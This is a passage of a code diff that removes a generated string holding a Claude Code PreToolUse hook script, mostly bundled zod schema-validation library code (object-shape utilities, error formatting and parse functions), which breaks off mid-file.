-	return [writeIfChanged(ctx, HOOK_PATH, "/**\n * bst-hook -- Claude Code PreToolUse hook\n * @bensandee/claude-hooks\n * https://github.com/bensandee/tooling\n *\n * Auto-generated by @bensandee/tooling repo:sync -- do not edit manually.\n */\nimport * as fs from \"node:fs\";\nimport { existsSync, readFileSync, readdirSync, realpathSync, statSync } from \"node:fs\";\nimport * as path from \"node:path\";\nimport { dirname, join, resolve } from \"node:path\";\nimport { fileURLToPath } from \"node:url\";\nimport { execFileSync } from \"node:child_process\";\nimport * as os from \"node:os\";\n\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/core/util.js\nfunction getEnumValues(entries) {\n	const numericValues = Object.values(entries).filter((v) => typeof v === \"number\");\n	return Object.entries(entries).filter(([k, _]) => numericValues.indexOf(+k) === -1).map(([_, v]) => v);\n}\nfunction joinValues(array, separator = \"|\") {\n	return array.map((val) => stringifyPrimitive(val)).join(separator);\n}\nfunction jsonStringifyReplacer(_, value) {\n	if (typeof value === \"bigint\") return value.toString();\n	return value;\n}\nvar Cached = class {\n	constructor(getter) {\n		this._getter = getter;\n		this._value = void 0;\n	}\n	get value() {\n		const getter = this._getter;\n		if (getter !== void 0) {\n			this._value = getter();\n			this._getter = void 0;\n		}\n		return this._value;\n	}\n};\nfunction cached(getter) {\n	return new Cached(getter);\n}\nfunction nullish(input) {\n	return input === null || input === void 0;\n}\nfunction cleanRegex(source) {\n	const start = source.startsWith(\"^\") ? 1 : 0;\n	const end = source.endsWith(\"$\") ? source.length - 1 : source.length;\n	return source.slice(start, end);\n}\nfunction assignProp(target, prop, value) {\n	Object.defineProperty(target, prop, {\n		value,\n		writable: true,\n		enumerable: true,\n		configurable: true\n	});\n}\n/**\n* Whichever object a def's `shape` currently answers from: the one the caller passed until the first read, the frozen copy after it.\n*\n* Its keys and descriptors read without invoking anything, which is what lets a discriminated union check its discriminator, and the cycle walk read a shape, without resolving a getter that references the schema being constructed. A def that answers `shape` from an accessor of its own has none.\n*/\nfunction rawShape(def) {\n	const desc = Object.getOwnPropertyDescriptor(def, \"shape\");\n	return desc?.get ? desc.get.raw : desc?.value;\n}\nfunction sourceShape(schema) {\n	return rawShape(schema._zod.def) ?? schema._zod.def.shape;\n}\nfunction deferProp(target, key, getter) {\n	Object.defineProperty(target, key, {\n		get() {\n			const value = getter();\n			assignProp(this, key, value);\n			return value;\n		},\n		enumerable: true,\n		configurable: true\n	});\n}\nfunction putProp(target, key, value) {\n	if (key in target) assignProp(target, key, value);\n	else target[key] = value;\n}\n/**\n* Copies `keys` of `source`'s shape onto `target`, each value passed through `wrap`.\n*\n* A key the source has resolved is copied through now, so the derived shape states it outright and nothing has to resolve it to learn what it holds. A key the source still defers stays deferred, and reads back through the source's own `shape`, so it resolves once and both shapes get that one schema.\n*/\nfunction mirrorShape(target, source, keys, wrap) {\n	const raw = sourceShape(source);\n	for (const key of keys) {\n		const desc = Object.getOwnPropertyDescriptor(raw, key);\n		if (!desc.enumerable) continue;\n		if (desc.get) deferProp(target, key, () => {\n			const value = source._zod.def.shape[key];\n			return wrap ? wrap(value, key) : value;\n		});\n		else putProp(target, key, wrap ? wrap(desc.value, key) : desc.value);\n	}\n}\nfunction mirrorProps(target, source) {\n	for (const key of Reflect.ownKeys(source)) {\n		const desc = Object.getOwnPropertyDescriptor(source, key);\n		if (!desc.enumerable) continue;\n		if (desc.get) deferProp(target, key, () => source[key]);\n		else putProp(target, key, desc.value);\n	}\n}\nfunction mergeDefs(...defs) {\n	const mergedDescriptors = {};\n	for (const def of defs) {\n		const descriptors = Object.getOwnPropertyDescriptors(def);\n		Object.assign(mergedDescriptors, descriptors);\n	}\n	return Object.defineProperties({}, mergedDescriptors);\n}\nfunction esc(str) {\n	return JSON.stringify(str);\n}\nfunction slugify(input) {\n	return input.toLowerCase().trim().replace(/[^\\w\\s-]/g, \"\").replace(/[\\s_-]+/g, \"-\").replace(/^-+|-+$/g, \"\");\n}\nconst captureStackTrace = \"captureStackTrace\" in Error ? Error.captureStackTrace : (..._args) => {};\nfunction isObject(data) {\n	return typeof data === \"object\" && data !== null && !Array.isArray(data);\n}\nconst allowsEval = /* @__PURE__*/ cached(() => {\n	if (globalConfig.jitless) return false;\n	if (typeof navigator !== \"undefined\" && navigator?.userAgent?.includes(\"Cloudflare\")) return false;\n	try {\n		new Function(\"\");\n		return true;\n	} catch (_) {\n		return false;\n	}\n});\nfunction isPlainObject(o) {\n	if (isObject(o) === false) return false;\n	const ctor = o.constructor;\n	if (ctor === void 0) return true;\n	if (typeof ctor !== \"function\") return true;\n	const prot = ctor.prototype;\n	if (isObject(prot) === false) return false;\n	if (Object.prototype.hasOwnProperty.call(prot, \"isPrototypeOf\") === false) return false;\n	return true;\n}\nfunction shallowClone(o) {\n	if (isPlainObject(o)) return { ...o };\n	if (Array.isArray(o)) return [...o];\n	if (o instanceof Map) return new Map(o);\n	if (o instanceof Set) return new Set(o);\n	return o;\n}\nconst propertyKeyTypes = /* @__PURE__*/ new Set([\n	\"string\",\n	\"number\",\n	\"symbol\"\n]);\nfunction escapeRegex(str) {\n	return str.replace(/[.*+?^${}()|[\\]\\\\]/g, \"\\\\$&\");\n}\nfunction clone(inst, def, params) {\n	const cl = new inst._zod.constr(def ?? inst._zod.def);\n	if (!def || params?.parent) cl._zod.parent = inst;\n	return cl;\n}\nfunction normalizeParams(_params) {\n	const params = _params;\n	if (!params) return {};\n	if (typeof params === \"string\") return { error: () => params };\n	if (params?.message !== void 0) {\n		if (params?.error !== void 0) throw new Error(\"Cannot specify both `message` and `error` params\");\n		params.error = params.message;\n	}\n	delete params.message;\n	if (typeof params.error === \"string\") return {\n		...params,\n		error: () => params.error\n	};\n	return params;\n}\nfunction stringifyPrimitive(value) {\n	if (typeof value === \"bigint\") return value.toString() + \"n\";\n	if (typeof value === \"string\") return `\"${value}\"`;\n	return `${value}`;\n}\nfunction optionalKeys(shape) {\n	return Object.keys(shape).filter((k) => {\n		return shape[k]._zod.optin !== void 0 && shape[k]._zod.optout === \"optional\";\n	});\n}\nconst NUMBER_FORMAT_RANGES = /*@__PURE__*/ (() => ({\n	safeint: [Number.MIN_SAFE_INTEGER, Number.MAX_SAFE_INTEGER],\n	int32: [-2147483648, 2147483647],\n	uint32: [0, 4294967295],\n	float32: [-34028234663852886e22, 34028234663852886e22],\n	float64: [-Number.MAX_VALUE, Number.MAX_VALUE]\n}))();\nconst BIGINT_FORMAT_RANGES = {\n	int64: [/* @__PURE__*/ BigInt(\"-9223372036854775808\"), /* @__PURE__*/ BigInt(\"9223372036854775807\")],\n	uint64: [/* @__PURE__*/ BigInt(0), /* @__PURE__*/ BigInt(\"18446744073709551615\")]\n};\nfunction pick(schema, mask) {\n	const currDef = schema._zod.def;\n	const checks = currDef.checks;\n	if (checks && checks.length > 0) throw new Error(\".pick() cannot be used on object schemas containing refinements\");\n	const newShape = {};\n	mirrorShape(newShape, schema, maskedKeys(schema, mask));\n	return clone(schema, mergeDefs(currDef, {\n		shape: newShape,\n		checks: []\n	}));\n}\nfunction maskedKeys(schema, mask) {\n	const raw = sourceShape(schema);\n	const keys = [];\n	for (const key of Reflect.ownKeys(mask)) {\n		if (!Object.getOwnPropertyDescriptor(raw, key)?.enumerable) throw new Error(`Unrecognized key: \"${String(key)}\"`);\n		if (mask[key]) keys.push(key);\n	}\n	return keys;\n}\nfunction omit(schema, mask) {\n	const currDef = schema._zod.def;\n	const checks = currDef.checks;\n	if (checks && checks.length > 0) throw new Error(\".omit() cannot be used on object schemas containing refinements\");\n	const omitted = new Set(maskedKeys(schema, mask));\n	const newShape = {};\n	mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)).filter((key) => !omitted.has(key)));\n	return clone(schema, mergeDefs(currDef, {\n		shape: newShape,\n		checks: []\n	}));\n}\nfunction extend(schema, shape) {\n	if (!isPlainObject(shape)) throw new Error(\"Invalid input to extend: expected a plain object\");\n	const checks = schema._zod.def.checks;\n	if (checks && checks.length > 0) {\n		const existingShape = sourceShape(schema);\n		for (const key of Reflect.ownKeys(shape)) if (Object.getOwnPropertyDescriptor(existingShape, key) !== void 0) throw new Error(\"Cannot overwrite keys on object schemas containing refinements. Use `.safeExtend()` instead.\");\n	}\n	return clone(schema, mergeDefs(schema._zod.def, { shape: extended(schema, shape) }));\n}\nfunction extended(schema, shape) {\n	const newShape = {};\n	mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)));\n	mirrorProps(newShape, shape);\n	return newShape;\n}\nfunction safeExtend(schema, shape) {\n	if (!isPlainObject(shape)) throw new Error(\"Invalid input to safeExtend: expected a plain object\");\n	return clone(schema, mergeDefs(schema._zod.def, { shape: extended(schema, shape) }));\n}\nfunction merge(a, b) {\n	if (!b?._zod?.def) throw new Error(\"Invalid input to merge: expected an object schema. To merge a plain shape, use `.extend()`.\");\n	if (a._zod.def.checks?.length) throw new Error(\".merge() cannot be used on object schemas containing refinements. Use .safeExtend() instead.\");\n	const newShape = {};\n	mirrorShape(newShape, a, Reflect.ownKeys(sourceShape(a)));\n	mirrorShape(newShape, b, Reflect.ownKeys(sourceShape(b)));\n	return clone(a, mergeDefs(a._zod.def, {\n		shape: newShape,\n		get catchall() {\n			return b._zod.def.catchall;\n		},\n		checks: b._zod.def.checks ?? []\n	}));\n}\nfunction partial(Class, schema, mask, name = \"partial\") {\n	const checks = schema._zod.def.checks;\n	if (checks && checks.length > 0) throw new Error(`.${name}() cannot be used on object schemas containing refinements`);\n	const selected = mask ? new Set(maskedKeys(schema, mask)) : void 0;\n	const newShape = {};\n	mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)), Class && ((value, key) => selected && !selected.has(key) ? value : new Class({\n		type: \"optional\",\n		innerType: value\n	})));\n	return clone(schema, mergeDefs(schema._zod.def, {\n		shape: newShape,\n		checks: []\n	}));\n}\nfunction required(Class, schema, mask) {\n	const selected = mask ? new Set(maskedKeys(schema, mask)) : void 0;\n	const newShape = {};\n	mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)), (value, key) => selected && !selected.has(key) ? value : new Class({\n		type: \"nonoptional\",\n		innerType: value\n	}));\n	return clone(schema, mergeDefs(schema._zod.def, { shape: newShape }));\n}\nfunction aborted(x, startIndex = 0) {\n	if (x.aborted === true) return true;\n	for (let i = startIndex; i < x.issues.length; i++) if (x.issues[i]?.continue !== true) return true;\n	return false;\n}\nfunction explicitlyAborted(x, startIndex = 0) {\n	if (x.aborted === true) return true;\n	for (let i = startIndex; i < x.issues.length; i++) if (x.issues[i]?.continue === false) return true;\n	return false;\n}\nfunction prefixIssues(path, issues) {\n	return issues.map((iss) => {\n		var _a;\n		(_a = iss).path ?? (_a.path = []);\n		iss.path.unshift(path);\n		return iss;\n	});\n}\nfunction unwrapMessage(message) {\n	return typeof message === \"string\" ? message : message?.message;\n}\nfunction attachSchema(issues, start, inst) {\n	var _a;\n	for (let i = start; i < issues.length; i++) (_a = issues[i]).schema ?? (_a.schema = inst);\n}\nfunction finalizeIssue(iss, ctx, config) {\n	var _a;\n	const traits = iss.inst?._zod?.traits;\n	if (traits?.has(\"$ZodType\")) {\n		if (traits.has(\"$ZodCheck\")) (_a = iss).schema ?? (_a.schema = iss.inst);\n		else iss.schema = iss.inst;\n	}\n	const schemaError = iss.schema !== iss.inst ? iss.schema?._zod.def?.error : void 0;\n	const message = iss.message ? iss.message : unwrapMessage(iss.inst?._zod.def?.error?.(iss)) ?? unwrapMessage(schemaError?.(iss)) ?? unwrapMessage(ctx?.error?.(iss)) ?? unwrapMessage(config.customError?.(iss)) ?? unwrapMessage(config.localeError?.(iss)) ?? \"Invalid input\";\n	const full = {};\n	for (const k of Object.keys(iss)) {\n		if (k === \"inst\" || k === \"schema\" || k === \"continue\" || k === \"input\" || k === \"__proto__\") continue;\n		full[k] = iss[k];\n	}\n	full.path ?? (full.path = []);\n	full.message = message;\n	if (ctx?.reportInput) full.input = iss.input;\n	return full;\n}\nconst highSurrogate = /[\\uD800-\\uDBFF]/;\nfunction codePointLength(str) {\n	const units = str.length;\n	if (!highSurrogate.test(str)) return units;\n	let count = units;\n	for (let i = 0; i < units - 1; i++) if ((str.charCodeAt(i) & 64512) === 55296 && (str.charCodeAt(i + 1) & 64512) === 56320) {\n		count--;\n		i++;\n	}\n	return count;\n}\nfunction getLengthableOrigin(input) {\n	if (Array.isArray(input)) return \"array\";\n	if (typeof input === \"string\") return \"string\";\n	return \"unknown\";\n}\nfunction parsedType(data) {\n	const t = typeof data;\n	switch (t) {\n		case \"number\": return Number.isNaN(data) ? \"nan\" : \"number\";\n		case \"object\": {\n			if (data === null) return \"null\";\n			if (Array.isArray(data)) return \"array\";\n			const obj = data;\n			if (obj && Object.getPrototypeOf(obj) !== Object.prototype && \"constructor\" in obj && obj.constructor) return obj.constructor.name;\n		}\n	}\n	return t;\n}\nfunction issue(...args) {\n	const [iss, input, inst] = args;\n	if (typeof iss === \"string\") return {\n		message: iss,\n		code: \"custom\",\n		input,\n		inst\n	};\n	return { ...iss };\n}\n/**\n* Installs a trait's members on its prototype. Each value builds that member for the instance on first read; the built value shadows the accessor as an own property, so a detached `const { parse } = schema` keeps working.\n*\n* Call this from a `proto` initializer, which runs once per prototype — never per instance.\n*/\nfunction members(proto, table) {\n	for (const key in table) {\n		const desc = Object.getOwnPropertyDescriptor(table, key);\n		if (desc.get) Object.defineProperty(proto, key, {\n			...desc,\n			enumerable: false\n		});\n		else defineBound(proto, key, desc.value);\n	}\n}\n/** Shadows a prototype member with an own value, so a getter that builds from the instance runs once. */\nfunction own(inst, key, value, enumerable = true) {\n	Object.defineProperty(inst, key, {\n		configurable: true,\n		writable: true,\n		enumerable,\n		value\n	});\n	return value;\n}\n/** Like {@link own}, for a member that was never an own data property and has to stay out of `Object.keys`. */\nfunction hide(inst, key, value) {\n	return own(inst, key, value, false);\n}\n/** Adds members a table derives from the instance: each builds on first read and shadows as own data, and assignment shadows the same way, as when these were own properties. */\nfunction derived(computes, table) {\n	for (const key in computes) {\n		const compute = computes[key];\n		Object.defineProperty(table, key, {\n			configurable: true,\n			enumerable: true,\n			get() {\n				return own(this, key, compute(this));\n			},\n			set(value) {\n				own(this, key, value);\n			}\n		});\n	}\n	return table;\n}\nfunction defineBound(proto, key, fn) {\n	Object.defineProperty(proto, key, {\n		configurable: true,\n		get() {\n			return this == null ? fn : own(this, key, fn.bind(this));\n		},\n		set(value) {\n			own(this, key, value);\n		}\n	});\n}\n/** Returns the prototype to install on, or `undefined` if this group is already installed on it. */\nfunction claim(inst, sentinel) {\n	const proto = Object.getPrototypeOf(inst);\n	return sentinel in proto ? void 0 : proto;\n}\nlet installing;\nlet broke = false;\nconst breaker = {\n	configurable: true,\n	get() {\n		broke = true;\n	}\n};\n/**\n* Installs a lazily-derived internal on the `_zod` prototype of `inst`'s\n* constructor, computed from the internals object itself and cached there on\n* first read. One accessor per constructor rather than one per instance.\n*/\nfunction defineLazyInternal(inst, key, compute) {\n	const proto = Object.getPrototypeOf(inst._zod);\n	if (key in proto && installing !== inst._zod) {\n		installing = void 0;\n		return;\n	}\n	installing = inst._zod;\n	Object.defineProperty(proto, key, {\n		configurable: true,\n		get() {\n			Object.defineProperty(this, key, breaker);\n			const outer = broke;\n			broke = false;\n			try {\n				const value = compute(this);\n				if (broke) delete this[key];\n				else Object.defineProperty(this, key, {\n					configurable: true,\n					writable: true,\n					value\n				});\n				broke = broke || outer;\n				return value;\n			} catch (err) {\n				delete this[key];\n				broke = broke || outer;\n				throw err;\n			}\n		},\n		set(value) {\n			Object.defineProperty(this, key, {\n				configurable: true,\n				writable: true,\n				value\n			});\n		}\n	});\n}\n/**\n* Installs `key` on `inst`'s prototype, computed by `make` on first read and cached there as an own\n* data property. One accessor per constructor rather than one per instance, because an own accessor\n* puts every instance after the first into v8 dictionary mode. The key doubles as the sentinel.\n*/\nfunction installLazyProp(inst, key, make, enumerable) {\n	const proto = claim(inst, key);\n	if (!proto) return;\n	Object.defineProperty(proto, key, {\n		configurable: true,\n		get() {\n			const desc = {\n				configurable: true,\n				writable: true,\n				enumerable,\n				value: void 0\n			};\n			Object.defineProperty(this, key, desc);\n			desc.value = make(this);\n			Object.defineProperty(this, key, desc);\n			return desc.value;\n		},\n		set(value) {\n			Object.defineProperty(this, key, {\n				configurable: true,\n				writable: true,\n				enumerable,\n				value\n			});\n		}\n	});\n}\n/** Marks the thunk `_catch` synthesises for a constant catch value. `Function.length` cannot tell that thunk from a user callback — rest and defaulted parameters both report arity 0 — and a user callback reads `ctx.error`, whose issues only finalize correctly against the caller's per-parse error map. Provenance can say what arity cannot. A plain string key rather than `Symbol.for`, whose call at module scope no bundler can prove pure — the same shape that anchored `urlCanParse` into every build. */\nconst CONSTANT_CATCH = \"~constantCatch\";\n/** Wraps a constant catch value in a thunk tagged with {@link CONSTANT_CATCH}. */\nfunction constantCatch(value) {\n	const fn = () => value;\n	fn[CONSTANT_CATCH] = true;\n	return fn;\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/core/core.js\nvar _a$1;\nconst _zodDesc = {\n	value: void 0,\n	enumerable: false\n};\nlet _E = \"captureStackTrace\" in Error ? Error : null;\nfunction newError(Definition) {\n	const E = _E;\n	if (E) {\n		const saved = E.stackTraceLimit;\n		if (typeof saved === \"number\") {\n			try {\n				E.stackTraceLimit = 0;\n			} catch {\n				_E = null;\n				return new Definition();\n			}\n			try {\n				return new Definition();\n			} finally {\n				E.stackTraceLimit = saved;\n			}\n		}\n	}\n	return new Definition();\n}\nfunction $constructor(name, initializer, proto, params) {\n	const zodProto = {};\n	function Internals(def) {\n		this.def = def;\n		this.constr = _;\n		this.traits = /* @__PURE__ */ new Set();\n	}\n	Internals.prototype = zodProto;\n	const protoMembers = proto;\n	const initialized = protoMembers && /* @__PURE__ */ new WeakSet();\n	function init(inst, def) {\n		if (!inst._zod) {\n			_zodDesc.value = new Internals(def);\n			try {\n				Object.defineProperty(inst, \"_zod\", _zodDesc);\n			} finally {\n				_zodDesc.value = void 0;\n			}\n		} else if (inst._zod.traits.has(name)) return;\n		inst._zod.traits.add(name);\n		initializer(inst, def);\n		if (initialized) {\n			const own = Object.getPrototypeOf(inst);\n			const ctorProto = inst._zod.constr.prototype;\n			let up = own;\n			while (up && up !== ctorProto) up = Object.getPrototypeOf(up);\n			const target = up ?? own;\n			if (!initialized.has(target)) {\n				initialized.add(target);\n				members(target, protoMembers);\n			}\n		}\n		const proto = _.prototype;\n		for (const k in proto) {\n			if (!Object.prototype.hasOwnProperty.call(proto, k)) continue;\n			if (!(k in inst)) inst[k] = proto[k].bind(inst);\n		}\n	}\n	const Parent = params?.Parent ?? Object;\n	class Definition extends Parent {}\n	Object.defineProperty(Definition, \"name\", { value: name });\n	function _(def) {\n		const inst = params?.Parent ? newError(Definition) : this;\n		init(inst, def);\n		const deferred = inst._zod.deferred;\n		if (deferred) {\n			for (const fn of deferred) fn();\n			inst._zod.deferred = void 0;\n		}\n		const pp = globalThis.__zod_globalConfig?.postProcessor;\n		if (pp) pp(inst);\n		return inst;\n	}\n	Object.defineProperty(_, \"init\", { value: init });\n	Object.defineProperty(_, Symbol.hasInstance, { value: (inst) => {\n		if (params?.Parent && inst instanceof params.Parent) return true;\n		return inst?._zod?.traits?.has(name);\n	} });\n	Object.defineProperty(_, \"name\", { value: name });\n	return _;\n}\nvar $ZodAsyncError = class extends Error {\n	constructor() {\n		super(`Encountered Promise during synchronous parse. Use .parseAsync() instead.`);\n	}\n};\nvar $ZodEncodeError = class extends Error {\n	constructor(name) {\n		super(`Encountered unidirectional transform during encode: ${name}`);\n		this.name = \"ZodEncodeError\";\n	}\n};\n(_a$1 = globalThis).__zod_globalConfig ?? (_a$1.__zod_globalConfig = {});\nconst globalConfig = globalThis.__zod_globalConfig;\nfunction config(newConfig) {\n	if (newConfig) Object.assign(globalConfig, newConfig);\n	return globalConfig;\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/core/errors.js\nfunction _getMessage() {\n	const internals = this._zod;\n	internals.message ?? (internals.message = JSON.stringify(internals.def, jsonStringifyReplacer, 2));\n	return internals.message;\n}\nfunction _setMessage(value) {\n	this._zod.message = value;\n}\nconst _messageDesc = {\n	get: _getMessage,\n	set: _setMessage,\n	enumerable: true,\n	configurable: true\n};\nconst _issuesDesc = {\n	value: void 0,\n	enumerable: false\n};\nconst _installedToString = /* @__PURE__ */ new WeakSet([Object.prototype, Error.prototype]);\nconst initializer$1 = (inst, def) => {\n	inst.name = \"$ZodError\";\n	_issuesDesc.value = def;\n	Object.defineProperty(inst, \"issues\", _issuesDesc);\n	_issuesDesc.value = void 0;\n	Object.defineProperty(inst, \"message\", _messageDesc);\n	const proto = Object.getPrototypeOf(inst);\n	if (!_installedToString.has(proto)) {\n		_installedToString.add(proto);\n		Object.defineProperty(proto, \"toString\", {\n			configurable: true,\n			enumerable: false,\n			get() {\n				const value = () => this.message;\n				Object.defineProperty(this, \"toString\", {\n					value,\n					configurable: true,\n					writable: true\n				});\n				return value;\n			},\n			set(value) {\n				Object.defineProperty(this, \"toString\", {\n					value,\n					configurable: true,\n					writable: true\n				});\n			}\n		});\n	}\n};\nconst $ZodError = $constructor(\"$ZodError\", initializer$1);\nconst $ZodRealError = $constructor(\"$ZodError\", initializer$1, void 0, { Parent: Error });\n/** Get-or-create `obj[key]` as an own data property. A path segment naming an inherited member\n* (\"toString\", \"constructor\") would otherwise read through to the prototype, and assigning\n* \"__proto__\" would hit the setter instead of creating a key. */\nfunction node(obj, key, make) {\n	if (!Object.prototype.hasOwnProperty.call(obj, key)) {\n		if (key === \"__proto__\") Object.defineProperty(obj, key, {\n			value: make(),\n			writable: true,\n			enumerable: true,\n			configurable: true\n		});\n		else obj[key] = make();\n	}\n	return obj[key];\n}\nfunction flattenError(error, mapper = (issue) => issue.message) {\n	const fieldErrors = {};\n	const formErrors = [];\n	for (const sub of error.issues) if (sub.path.length > 0) node(fieldErrors, sub.path[0], () => []).push(mapper(sub));\n	else formErrors.push(mapper(sub));\n	return {\n		formErrors,\n		fieldErrors\n	};\n}\nfunction formatError(error, mapper = (issue) => issue.message) {\n	const fieldErrors = { _errors: [] };\n	const processError = (error, path = []) => {\n		for (const issue of error.issues) if (issue.code === \"invalid_union\" && issue.errors.length) issue.errors.map((issues) => processError({ issues }, [...path, ...issue.path]));\n		else if (issue.code === \"invalid_key\") processError({ issues: issue.issues }, [...path, ...issue.path]);\n		else if (issue.code === \"invalid_element\") processError({ issues: issue.issues }, [...path, ...issue.path]);\n		else {\n			const fullpath = [...path, ...issue.path];\n			if (fullpath.length === 0) fieldErrors._errors.push(mapper(issue));\n			else {\n				let curr = fieldErrors;\n				let i = 0;\n				while (i < fullpath.length) {\n					const el = fullpath[i];\n					const terminal = i === fullpath.length - 1;\n					if (el === \"_errors\") {\n						if (terminal) curr._errors.push(mapper(issue));\n						i++;\n						continue;\n					}\n					if (!Object.prototype.hasOwnProperty.call(curr, el)) Object.defineProperty(curr, el, {\n						value: { _errors: [] },\n						enumerable: true,\n						writable: true,\n						configurable: true\n					});\n					const node = curr[el];\n					if (terminal) node._errors.push(mapper(issue));\n					curr = node;\n					i++;\n				}\n			}\n		}\n	};\n	processError(error);\n	return fieldErrors;\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/core/parse.js\nfunction finalizeParams(callee, params) {\n	return {\n		callee: params?.callee ?? callee,\n		Err: params?.Err\n	};\n}\nconst _parse = (_Err) => {\n	const fn = (schema, value, _ctx, _params) => {\n		const ctx = _ctx ? {\n			..._ctx,\n			async: false\n		} : { async: false };\n		const result = schema._zod.run({\n			value,\n			issues: []\n		}, ctx);\n		if (result instanceof Promise) throw new $ZodAsyncError();\n		if (result.issues.length) {\n			const e = new ((_params?.Err) ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config())));\n			captureStackTrace(e, _params?.callee ?? fn);\n			throw e;\n		}\n		return result.value;\n	};\n	return fn;\n};\nconst _parseAsync = (_Err) => {\n	const fn = async (schema, value, _ctx, params) => {\n		const ctx = _ctx ? {\n			..._ctx,\n			async: true\n		} : { async: true };\n		let result = schema._zod.run({\n			value,\n			issues: []\n		}, ctx);\n		if (result instanceof Promise) result = await result;\n		if (result.issues.length) {\n			const e = new ((params?.Err) ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config())));\n			captureStackTrace(e, params?.callee ?? fn);\n			throw e;\n		}\n		return result.value;\n	};\n	return fn;\n};\nconst _safeParse = (_Err) => (schema, value, _ctx) => {\n	const ctx = _ctx ? {\n		..._ctx,\n		async: false\n	} : { async: false };\n	const result = schema._zod.run({\n		value,\n		issues: []\n	}, ctx);\n	if (result instanceof Promise) throw new $ZodAsyncError();\n	return result.issues.length ? failure(_Err, result.issues, ctx) : {\n		success: true,\n		data: result.value\n	};\n};\nfunction failure(Err, issues, ctx) {\n	let error;\n	return {\n		success: false,\n		get error() {\n			if (!error) {\n				error = new Err(issues.map((iss) => finalizeIssue(iss, ctx, config())));\n				issues = void 0;\n				ctx = void 0;\n			}\n			return error;\n		},\n		set error(e) {\n			error = e;\n			issues = void 0;\n			ctx = void 0;\n		}\n	};\n}\nconst _safeParseAsync = (_Err) => async (schema, value, _ctx) => {\n	const ctx = _ctx ? {\n		..._ctx,\n		async: true\n	} : { async: true };\n	let result = schema._zod.run({\n		value,\n		issues: []\n	}, ctx);\n	if (result instanceof Promise) result = await result;\n	return result.issues.length ? failure(_Err, result.issues, ctx) : {\n		success: true,\n		data: result.value\n	};\n};\nconst COMPILE_INVALID = /* @__PURE__ */ Symbol.for(\"zod.compile.invalid\");\nconst COMPILE_FALLBACK = /* @__PURE__ */ Symbol.for(\"zod.compile.fallback\");\nconst validate = ((schema, value, _ctx) => {\n	const validator = schema._zod.bag.validator;\n	if (validator !== void 0) {\n		if (validator(value) !== COMPILE_INVALID) return true;\n		if (validator.definite === true && _ctx === void 0) return false;\n	}\n	return validateFallback(schema, value, _ctx);\n});\nfunction validateFallback(schema, value, _ctx) {\n	const ctx = _ctx ? {\n		..._ctx,\n		async: false,\n		abortEarly: true\n	} : {\n		async: false,\n		abortEarly: true\n	};\n	const fallbackRun = schema._zod.bag.fallbackRun;\n	let result;\n	if (fallbackRun) {\n		ctx[COMPILE_FALLBACK] = true;\n		result = fallbackRun({\n			value,\n			issues: []\n		}, ctx);\n	} else result = schema._zod.run({\n		value,\n		issues: []\n	}, ctx);\n	if (result instanceof Promise) throw new $ZodAsyncError();\n	return result.issues.length === 0;\n}\nconst validateAsync$1 = async (schema, value, _ctx) => {\n	const ctx = _ctx ? {\n		..._ctx,\n		async: true,\n		abortEarly: true\n	} : {\n		async: true,\n		abortEarly: true\n	};\n	let result = schema._zod.run({\n		value,\n		issues: []\n	}, ctx);\n	if (result instanceof Promise) result = await result;\n	return result.issues.length === 0;\n};\nconst _encode = (_Err) => {\n	const parse = _parse(_Err);\n	const fn = (schema, value, _ctx, _params) => {\n		const ctx = _ctx ? {\n			..._ctx,\n			direction: \"backward\"\n		} : { direction: \"backward\" };\n		return parse(schema, value, ctx, finalizeParams(fn, _params));\n	};\n	return fn;\n};\nconst _decode = (_Err) => {\n	const parse = _parse(_Err);\n	const fn = (schema, value, _ctx, _params) => {\n		return parse(schema, value, _ctx, finalizeParams(fn, _params));\n	};\n	return fn;\n};\nconst _encodeAsync = (_Err) => {\n	const parseAsync = _parseAsync(_Err);\n	const fn = async (schema, value, _ctx, _params) => {\n		const ctx = _ctx ? {\n			..._ctx,\n			direction: \"backward\"\n		} : { direction: \"backward\" };\n		return await parseAsync(schema, value, ctx, finalizeParams(fn, _params));\n	};\n	return fn;\n};\nconst _decodeAsync = (_Err) => {\n	const parseAsync = _parseAsync(_Err);\n	const fn = async (schema, value, _ctx, _params) => {\n		return await parseAsync(schema, value, _ctx, finalizeParams(fn, _params));\n	};\n	return fn;\n};\nconst _safeEncode = (_Err) => (schema, value, _ctx) => {\n	const ctx = _ctx ? {\n		..._ctx,\n		direction: \"backward\"\n	} : { direction: \"backward\" };\n	return _safeParse(_Err)(schema, value, ctx);\n};\nconst _safeDecode = (_Err) => (schema, value, _ctx) => {\n	return _safeParse(_Err)(schema, value, _ctx);\n};\nconst _safeEncodeAsync = (_Err) => async (schema, value, _ctx) => {\n	const ctx = _ctx ? {\n		..._ctx,\n		direction: \"backward\"\n	} : { direction: \"backward\" };\n	return _safeParseAsync(_Err)(schema, value, ctx);\n};\nconst _safeDecodeAsync = (_Err) => async (schema, value, _ctx) => {\n	return _safeParseAsync(_Err)(schema, value, _ctx);\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/core/regexes.js\n/**\n* @deprecated CUID v1 is deprecated by its authors due to information leakage\n* (timestamps embedded in the id). Use {@link cuid2} instead.\n* See https://github.com/paralleldrive/cuid.\n*/\nconst cuid = /^[cC][0-9a-z]{6,}$/;\nconst cuid2 = /^[0-9a-z]+$/;\nconst ulid = /^[0-7][0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{25}$/;\nconst xid = /^[0-9a-vA-V]{20}$/;\nconst ksuid = /^[A-Za-z0-9]{27}$/;\nconst nanoid = /^[a-zA-Z0-9_-]{21}$/;\nfunction nanoidOfLength(length) {\n	return new RegExp(`^[a-zA-Z0-9_-]{${length}}$`);\n}\n/** ISO 8601-1 duration regex. Does not support the 8601-2 extensions like negative durations or fractional/negative components. */\nconst duration = 